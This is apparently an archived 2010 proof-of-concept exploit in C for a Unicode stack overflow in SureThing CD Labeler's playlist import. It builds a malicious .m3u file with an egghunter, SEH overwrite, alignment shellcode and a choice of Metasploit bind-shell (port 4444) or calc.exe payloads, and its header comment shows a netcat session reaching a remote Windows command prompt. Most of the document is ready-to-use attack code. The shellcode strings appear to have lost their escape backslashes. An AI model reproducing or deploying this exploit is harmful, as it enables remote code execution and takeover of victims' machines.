surething-overflow.txt
Posted on 09 June 2010
/* surethingcdlabelerbofpoc.c ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SureThing cd labeler (m3u/pls) - unicode stack overflow PoC exploit Found by: Ruben Alejandro - chap0 Author: Steven Seeley - mr_me (http://net-ninja.net/) Greetz to: Corelan Security Team http://www.corelan.be:8800/index.php/security/corelan-team-members/ Writeup: Unicode, the magic of exploiting 0x00410041 (https://net-ninja.net/blog/?p=71) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Script provided 'as is', without any warranty. Use for educational purposes only. Do not use this code to do anything illegal ! Note : you are not allowed to edit/modify this code. If you do, Corelan cannot be held responsible for any damages this may cause. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ usage: Compile this with lcc-win32 and execute it choosing your shellcode to create the .m3u file. Then click on 'playlists' --> 'Import Playlist from Hard Drive' --> 'Import playlist from a file on my computer' --> for filetype select 'Generic m3u/pls file' --> open evil m3u file --> boom. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mrme@backtrack:~$ nc -v 192.168.2.5 4444 192.168.2.5: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [192.168.2.5] 4444 (?) open Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:> */ #include <stdio.h> #include <string.h> #include <stdlib.h> /* win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum http://metasploit.com */ unsigned char bind[] = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e" "x4fx44x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x56x4bx58" "x4ex56x46x32x46x32x4bx38x45x44x4ex43x4bx58x4ex47" "x45x50x4ax57x41x50x4fx4ex4bx38x4fx34x4ax41x4bx58" "x4fx55x42x52x41x30x4bx4ex43x4ex42x53x49x54x4bx38" "x46x53x4bx58x41x30x50x4ex41x33x42x4cx49x39x4ex4a" "x46x58x42x4cx46x57x47x30x41x4cx4cx4cx4dx50x41x30" "x44x4cx4bx4ex46x4fx4bx33x46x55x46x42x4ax42x45x57" "x43x4ex4bx58x4fx55x46x52x41x50x4bx4ex48x36x4bx58" "x4ex50x4bx34x4bx48x4fx55x4ex41x41x30x4bx4ex43x30" "x4ex52x4bx48x49x38x4ex36x46x42x4ex41x41x56x43x4c" "x41x43x42x4cx46x46x4bx48x42x54x42x33x4bx58x42x44" "x4ex50x4bx38x42x47x4ex41x4dx4ax4bx48x42x54x4ax50" "x50x35x4ax46x50x58x50x44x50x50x4ex4ex42x35x4fx4f" "x48x4dx41x53x4bx4dx48x36x43x55x48x56x4ax36x43x33" "x44x33x4ax56x47x47x43x47x44x33x4fx55x46x55x4fx4f" "x42x4dx4ax56x4bx4cx4dx4ex4ex4fx4bx53x42x45x4fx4f" "x48x4dx4fx35x49x48x45x4ex48x56x41x48x4dx4ex4ax50" "x44x30x45x55x4cx46x44x50x4fx4fx42x4dx4ax36x49x4d" "x49x50x45x4fx4dx4ax47x55x4fx4fx48x4dx43x45x43x45" "x43x55x43x55x43x45x43x34x43x45x43x34x43x35x4fx4f" "x42x4dx48x56x4ax56x41x41x4ex35x48x36x43x35x49x38" "x41x4ex45x49x4ax46x46x4ax4cx51x42x57x47x4cx47x55" "x4fx4fx48x4dx4cx36x42x31x41x45x45x35x4fx4fx42x4d" "x4ax36x46x4ax4dx4ax50x42x49x4ex47x55x4fx4fx48x4d" "x43x35x45x35x4fx4fx42x4dx4ax36x45x4ex49x44x48x38" "x49x54x47x55x4fx4fx48x4dx42x55x46x35x46x45x45x35" "x4fx4fx42x4dx43x49x4ax56x47x4ex49x37x48x4cx49x37" "x47x45x4fx4fx48x4dx45x55x4fx4fx42x4dx48x36x4cx56" "x46x46x48x36x4ax46x43x56x4dx56x49x38x45x4ex4cx56" "x42x55x49x55x49x52x4ex4cx49x48x47x4ex4cx36x46x54" "x49x58x44x4ex41x43x42x4cx43x4fx4cx4ax50x4fx44x54" "x4dx32x50x4fx44x54x4ex52x43x49x4dx58x4cx47x4ax53" "x4bx4ax4bx4ax4bx4ax4ax46x44x57x50x4fx43x4bx48x51" "x4fx4fx45x57x46x54x4fx4fx48x4dx4bx45x47x35x44x35" "x41x35x41x55x41x35x4cx46x41x50x41x35x41x45x45x35" "x41x45x4fx4fx42x4dx4ax56x4dx4ax49x4dx45x30x50x4c" "x43x35x4fx4fx48x4dx4cx56x4fx4fx4fx4fx47x33x4fx4f" "x42x4dx4bx58x47x45x4ex4fx43x38x46x4cx46x36x4fx4f" "x48x4dx44x55x4fx4fx42x4dx4ax36x4fx4ex50x4cx42x4e" "x42x36x43x55x4fx4fx48x4dx4fx4fx42x4dx5a"; unsigned char calc[] = "xd9xf7xd9x74x24xf4x5bx53x59x49x49x49x49x49x49" "x49x49x49x43x43x43x43x43x43x43x37x51x5ax6ax41" "x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42" "x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x4b" "x4cx4ax48x51x54x45x50x43x30x45x50x4cx4bx51x55" "x47x4cx4cx4bx43x4cx43x35x43x48x43x31x4ax4fx4c" "x4bx50x4fx44x58x4cx4bx51x4fx47x50x45x51x4ax4b" "x50x49x4cx4bx46x54x4cx4bx43x31x4ax4ex50x31x49" "x50x4ax39x4ex4cx4bx34x49x50x42x54x44x47x49x51" "x49x5ax44x4dx45x51x49x52x4ax4bx4bx44x47x4bx50" "x54x47x54x45x54x44x35x4dx35x4cx4bx51x4fx51x34" "x43x31x4ax4bx42x46x4cx4bx44x4cx50x4bx4cx4bx51" "x4fx45x4cx43x31x4ax4bx4cx4bx45x4cx4cx4bx43x31" "x4ax4bx4cx49x51x4cx46x44x43x34x48x43x51x4fx50" "x31x4ax56x43x50x50x56x42x44x4cx4bx50x46x50x30" "x4cx4bx47x30x44x4cx4cx4bx42x50x45x4cx4ex4dx4c" "x4bx42x48x45x58x4bx39x4ax58x4bx33x49x50x42x4a" "x50x50x42x48x4cx30x4cx4ax44x44x51x4fx45x38x4a" "x38x4bx4ex4dx5ax44x4ex46x37x4bx4fx4dx37x42x43" "x45x31x42x4cx43x53x46x4ex43x55x43x48x45x35x45" "x50x41x41"; // unicode encoded egghunter unsigned char egghunter[] = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ" "1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AY" "AZBABABABAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ44J" "O7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"; // venetian shellcode unsigned char getAddressAndAlignEaxThenJmp[] = "x58x6dx58x6dx58x6dx58x6dx05x02x22x6dx2dx02x11x6d" "x2dx02x11x6dx50x6dxc3"; unsigned char tag[] = "x77x30x30x74x77x30x30x74"; int main ( int argc , char * argv[]) { FILE* expfle = NULL; char* SEH = "x72x73"; // CALL DWORD PTR SS:[EBP-4] from dwwin.dll char* NSEH = "x41x6d"; int i; printf(" *************************************************************************** "); printf(" SureThing CD Labeler Unicode stack overflow PoC Exploit "); printf(" Found by: Ruben Alejandro - chap0 "); printf(" Code by: Steven Seeley - mr_me "); printf(" http://www.net-ninja.net/ "); printf("*************************************************************************** "); if( (expfle=fopen("cst-surethingcdlabeler.m3u","wb")) ==NULL ) { perror(" [-] Cannot create the exploit file.."); exit(0); } for (i=0; i<8; i++) { fwrite("x41", 1, 1, expfle); // junk } fwrite(egghunter, sizeof(egghunter)-1, 1, expfle); // egghunter for (i=0; i<62; i++) { fwrite("x41", 1, 1, expfle); // junk } fwrite(nseh, sizeof(nseh)-1, 1, expfle); // nseh - walk fwrite(seh, sizeof(seh)-1, 1, expfle); // seh - unicode friendly fwrite(getAddressAndAlignEaxThenJmp, // custom unicode shellcode sizeof(getAddressAndAlignEaxThenJmp)-1, 1, expfle); for (i=0; i<405; i++) { fwrite("x41", 1, 1, expfle); // junk } fwrite(tag, sizeof(tag)-1, 1, expfle); // egghunter tag printf (" [+] Enter shellcode option: "); printf (" 1. Bindshell on port 4444"); printf (" 2. Calc.exe "); scanf ("%d",&i); if (i == 1){ fwrite(bind, sizeof(bind)-1, 1, expfle); // bind } else if (i == 2){ fwrite(calc, sizeof(calc)-1, 1, expfle); // calc } fclose(expfle); printf(" [+] cst-surethingcdlabeler.m3u created successfully! "); return 0; }
